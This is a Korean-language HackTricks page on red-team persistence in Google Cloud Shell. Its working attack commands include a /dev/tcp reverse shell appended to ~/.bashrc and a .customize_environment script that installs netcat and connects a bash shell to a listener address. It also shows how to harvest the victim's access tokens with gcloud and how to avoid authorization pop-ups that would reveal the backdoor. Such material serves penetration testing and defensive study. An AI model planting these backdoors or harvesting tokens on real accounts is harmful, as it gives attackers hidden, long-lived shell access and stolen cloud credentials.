GCP - Cloud Shell Persistence
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud Shell
자세한 정보는 다음을 확인하세요:
Persistent Backdoor
Google Cloud Shell은 브라우저에서 직접 클라우드 리소스에 대한 명령줄 액세스를 제공하며, 관련 비용이 없습니다.
웹 콘솔에서 또는 **gcloud cloud-shell ssh
**를 실행하여 Google의 Cloud Shell에 액세스할 수 있습니다.
이 콘솔은 공격자에게 흥미로운 기능을 제공합니다:
- Google Cloud에 액세스할 수 있는 모든 Google 사용자는 완전히 인증된 Cloud Shell 인스턴스에 액세스할 수 있습니다 (서비스 계정은 조직의 소유자일지라도 가능합니다).
- 해당 인스턴스는 활동이 없으면 최소 120일 동안 홈 디렉토리를 유지합니다.
- 해당 인스턴스의 활동을 모니터링할 수 있는 조직의 기능이 없습니다.
이는 기본적으로 공격자가 사용자의 홈 디렉토리에 백도어를 설치할 수 있으며, 사용자가 최소 120일마다 GC Shell에 연결하기만 하면 백도어가 살아남고 공격자는 매번 실행할 때마다 셸을 얻을 수 있음을 의미합니다.
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
홈 폴더에 **.customize_environment
**라는 또 다른 파일이 있으며, 이 파일이 존재하면 사용자가 cloud shell에 접근할 때마다 실행됩니다 (이전 기술과 마찬가지로). 사용자가 "자주" cloud shell을 사용하는 한 지속성을 유지하기 위해 이전 백도어 또는 다음과 같은 백도어를 삽입하십시오:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
warning
인증이 필요한 작업을 처음 수행할 때 사용자의 브라우저에 팝업 권한 부여 창이 나타나는 것이 중요합니다. 이 창을 수락해야 명령이 실행될 수 있습니다. 예상치 못한 팝업이 나타나면 의심을 불러일으킬 수 있으며 사용 중인 지속성 방법이 손상될 수 있습니다.
이것은 클라우드 셸에서 gcloud projects list
를 실행했을 때 (공격자로서) 브라우저 사용자 세션에서 본 팝업입니다:
.png)
그러나 사용자가 클라우드 셸을 적극적으로 사용한 경우 팝업이 나타나지 않으며 다음과 같이 사용자의 토큰을 수집할 수 있습니다:
gcloud auth print-access-token
gcloud auth application-default print-access-token
SSH 연결이 설정되는 방법
기본적으로, 이 3개의 API 호출이 사용됩니다:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (로컬에서 생성한 공개 키를 추가하게 됩니다)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (인스턴스를 시작하게 됩니다)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (구글 클라우드 셸의 IP를 알려줍니다)
하지만 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 추가 정보를 찾을 수 있습니다.
참고자료
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.